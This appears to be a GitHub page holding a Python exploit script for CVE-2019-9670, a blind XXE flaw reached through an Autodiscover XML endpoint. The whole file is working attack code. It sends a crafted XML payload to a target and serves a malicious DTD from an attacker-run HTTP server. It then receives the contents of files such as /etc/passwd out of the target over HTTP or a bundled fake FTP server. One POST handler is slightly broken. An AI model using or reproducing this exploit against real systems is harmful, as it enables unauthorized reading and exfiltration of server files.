-
Notifications
You must be signed in to change notification settings - Fork 115
/
blind_XXEPlatform_CVE-2019-9670.py
166 lines (141 loc) · 6.54 KB
/
blind_XXEPlatform_CVE-2019-9670.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""
class XXERequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("file.dtd"):
print("[+] Delivering DTD file to " + self.client_address[0])
if xxeplatform_ftp_port == "false":
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
else:
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)
self.send_response(200)
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
if "?requestfiledata=" in self.path:
print("[+] Read file content successfully. The contents are as follows:")
print(self.path[18:])
def do_POST(self):
print(self.path)
post_data = self.rfile.read(length).decode()
print(post_data)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write()
#Reference:https://github.com/TheTwitchy/xxer
class FTPserverThread(threading.Thread):
def __init__(self, conn_addr):
conn, addr = conn_addr
self.conn = conn
self.addr = addr
threading.Thread.__init__(self)
def run(self):
self.conn.send(b'220 Welcome!\r\n')
print("[+] Read file content successfully. The contents are as follows:")
while True:
data = self.conn.recv(1024)
if not data:
break
else:
if "RETR" in bytes.decode(data):
print(bytes.decode(data)[5:], end='')
elif "CWD" in bytes.decode(data):
print(bytes.decode(data)[4:], end='')
#print("FTP: recvd '%s'" % bytes.decode(data))
if "LIST" in bytes.decode(data):
self.conn.send(b"drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n")
self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
self.conn.send(b"226 Transfer complete.\r\n")
elif "USER" in bytes.decode(data):
self.conn.send(b"331 password please\r\n")
elif "PORT" in bytes.decode(data):
self.conn.send(b"500 PORT command error\r\n")
elif "RETR" in bytes.decode(data):
self.conn.send(b"500 Sorry.\r\n\r\n")
else:
self.conn.send(b"230 more data please\r\n")
class FTPserver(threading.Thread):
def __init__(self, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("0.0.0.0", port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
th = FTPserverThread(self.sock.accept())
th.daemon = True
th.start()
def stop(self):
self.sock.close()
def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
%dtd;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
headers = {
"Content-Type":"application/xml"
}
r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)
if __name__ == '__main__':
if len(sys.argv)!=5:
print("blind_XXEPlatform_CVE-2019-9670.py")
print("It supports receiving results through HTTP or FTP protocol.")
print("Usage:")
print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
print("Note:")
print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")
print("Eg.")
print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
sys.exit(0)
else:
xxeplatform_url = sys.argv[1]
xxeplatform_http_port = sys.argv[2]
xxeplatform_ftp_port = sys.argv[3]
target_url = sys.argv[4]
print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
if xxeplatform_ftp_port == "false":
print("[*] Receive results over HTTP protocol")
else:
print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
t_ftpd = FTPserver(int(xxeplatform_ftp_port))
t_ftpd.daemon = True
t_ftpd.start()
print("[*] Receive results over FTP protocol")
try:
while 1:
filetoread = input("Input the file path to read(Eg. /etc/passwd):")
send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)
except KeyboardInterrupt:
pass